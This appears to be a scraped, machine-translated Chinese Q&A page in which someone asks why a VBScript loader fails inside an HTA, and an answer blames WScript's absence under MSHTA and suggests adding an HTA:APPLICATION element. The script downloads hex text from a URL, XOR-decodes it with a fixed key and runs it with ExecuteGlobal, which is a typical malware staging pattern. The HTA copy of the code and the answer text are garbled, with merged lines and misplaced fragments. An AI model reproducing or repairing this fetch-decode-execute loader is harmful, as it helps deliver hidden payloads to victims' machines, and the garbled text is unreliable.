问题描述
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setoption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b,i + 1,2))) xor Asc(Mid(k,((i / 2)mod Len(k)) + 1,1))):
Next:
ExecuteGlobal c:
但是当我在 HTA 中包含这个脚本时,它不会执行 (ExecuteGlobal c:) 即
<html>
<head>
<script language="VBScript">
Sub RunProgram
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setoption 2,1))):
Next:
ExecuteGlobal c:
End Sub
RunProgram()
</script>
</head>
<body>
</body>
</html>
我认为问题出在 (ExecuteGlobal c:) 部分,它不会在 HTA 中执行,但是当我单独使用 vbscript 时它可以正常执行。
解决方法
更新答案:
基于 the comments 很明显问题在于您尝试运行的解码脚本中引用了 WScript
,它是一个对象 not accessible outside of the Windows Scripting Host(wscript.exe
和 { {1}})。由于 MSHTA 脚本主机不支持它,因此它在 HTA 中不可用。
原答案:
目前的 HTML 代码示例不是 HTA,因为它缺少 <HTA:APPLICATION>
元素。
尝试添加;
cscript.exe
到 <HTA:APPLICATION ID="oHTA"
APPLICATIONNAME="myApp"
BORDER="thin"
BORDERSTYLE="normal"
CAPTION="yes"
ICON=""
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="yes"
VERSION="1.0"
WINDOWSTATE="maximize"/>
元素内的 HTML。